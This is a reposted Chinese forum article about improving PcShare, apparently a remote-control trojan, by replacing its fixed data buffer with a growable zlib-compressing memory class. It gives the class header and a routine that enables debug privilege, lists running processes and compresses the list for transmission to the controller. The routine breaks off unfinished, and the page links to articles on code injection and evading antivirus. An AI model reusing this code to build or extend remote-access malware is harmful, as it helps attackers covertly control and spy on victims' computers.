日期:2009-06-14 18:06:00 来源:本站整理
PcShare改革利用内存流[网络技术]
本文“PcShare改革利用内存流[网络技术]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:
仿delphi的MemoryStram的内存流类CIOBuffer,可以动态增长缓冲区大小,支持zlib紧缩和解紧缩,用来替换pcshare里固定2M数据交换区,以及写入文件再紧缩的办法
#ifndef _IOBUFFER_H__
#define _IOBUFFER_H__
#define MEMORY_DELTA 0x2000 //8KB
class CIOBuffer
{
public:
CIOBuffer();
virtual ~CIOBuffer();
public:
void ZeroBuffer(); //数据清零
LPBYTE GetCurPos(); //返回当前点(数据尾)
operator LPBYTE() const; //取数据
BOOL IsEmpty() const; //能否数据为空
UINT GetDataSize() const; //返回已有数据长度
void SetDataSize(UINT uSize); //设置已有数据长度
UINT GetCurrPos() const; //返回当前点位置
void SetCurrPos(UINT uPos); //设置当前点位置
UINT Seek(UINT lOff, UINT nFrom);
UINT SeekToBegin();
UINT SeekToEnd();
UINT ReadBuffer(LPBYTE lpBuf, UINT uCount); //从当前位置开始读数据
UINT WriteBuffer(const LPBYTE lpBuf, UINT uCount); //从当前位置开始写数据
BOOL SetCapacity(UINT uNewCapacity); //设置动态内存大小
// Use the buffer with the ZLib compression library
BOOL Compress(BOOL bBestSpeed = FALSE); //紧缩缓冲区中数据
BOOL Decompress(DWORD nSuggest = 0); //解紧缩缓冲区中数据
private:
LPBYTE m_pbinData;
UINT m_uCapacity; //当前内存大小
UINT m_uDataSize; //当前数据长度
UINT m_uCurrPos; //当前读写位置
BOOL ReAlloc(UINT& uNewCapacity);
};
目前用起来很爽了,清空缓冲区,写入数据到缓冲区,紧缩缓冲区,发送缓冲区里紧缩过的数据就OK了
void CPsProcessTrans::GetProcessList(CIOBuffer* pBuf, LPMSGHEAD lpMsgHead)
{
HANDLE m_Sys = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if(m_Sys == NULL)
{
lpMsgHead->dwCommand = GET_PROCESS_LIST_ERR;
lpMsgHead->dwDataLen = 0;
return;
}
PROCESSENTRY32 m_Lppe = {0};
m_Lppe.dwSize = sizeof(PROCESSENTRY32);
if(!Process32First(m_Sys,&m_Lppe))
{
lpMsgHead->dwCommand = GET_PROCESS_LIST_ERR;
lpMsgHead->dwDataLen = 0;
CloseHandle(m_Sys);
return;
}
// 给列举的进程增添SE_DEBUG_NAME权限便可:
HANDLE hToken; // handle to process token
TOKEN_PRIVILEGES tkp; // pointer to token structure
OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_DEBUG_NAME,
&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1; // one privilege to set
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp,
0, (PTOKEN_PRIVILEGES) NULL, 0);
PROCESSLIST m_ProcessList;
pBuf->ZeroBuffer();//清空缓冲区
do
{
memset(&m_ProcessList, 0, sizeof(PROCESSLIST));
m_ProcessList.cntThreads = m_Lppe.cntThreads;
m_ProcessList.pcPriClassBase = m_Lppe.pcPriClassBase;
m_ProcessList.th32ProcessID = m_Lppe.th32ProcessID;
strcpy(m_ProcessList.szExeFile,m_Lppe.szExeFile);
if(strrchr(m_ProcessList.szExeFile, ’\\’) == NULL)
GetMoudleMame(m_ProcessList.th32ProcessID, m_ProcessList.szExeFile);
//写入缓冲区
pBuf->WriteBuffer((LPBYTE)&m_ProcessList,sizeof(PROCESSLIST));
}while(Process32Next(m_Sys,&m_Lppe));
//紧缩缓冲区
lpMsgHead->dwCommand = 0;
lpMsgHead->dwRawLen = pBuf->GetDataSize();//紧缩前长度
pBuf->Compress(TRUE);
lpMsgHead->dwDataLen = pBuf->GetDataSize();//紧缩后长度
以上是“PcShare改革利用内存流[网络技术]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:
本文地址: | 与您的QQ/BBS好友分享! |
- ·上一篇文章:绕过主动防备的代码注入办法
- ·下一篇文章:文件占坑法过360查杀!
- ·中查找“PcShare改革利用内存流”更多相关内容
- ·中查找“PcShare改革利用内存流”更多相关内容
评论内容只代表网友观点,与本站立场无关!
评论摘要(共 0 条,得分 0 分,平均 0 分)
查看完整评论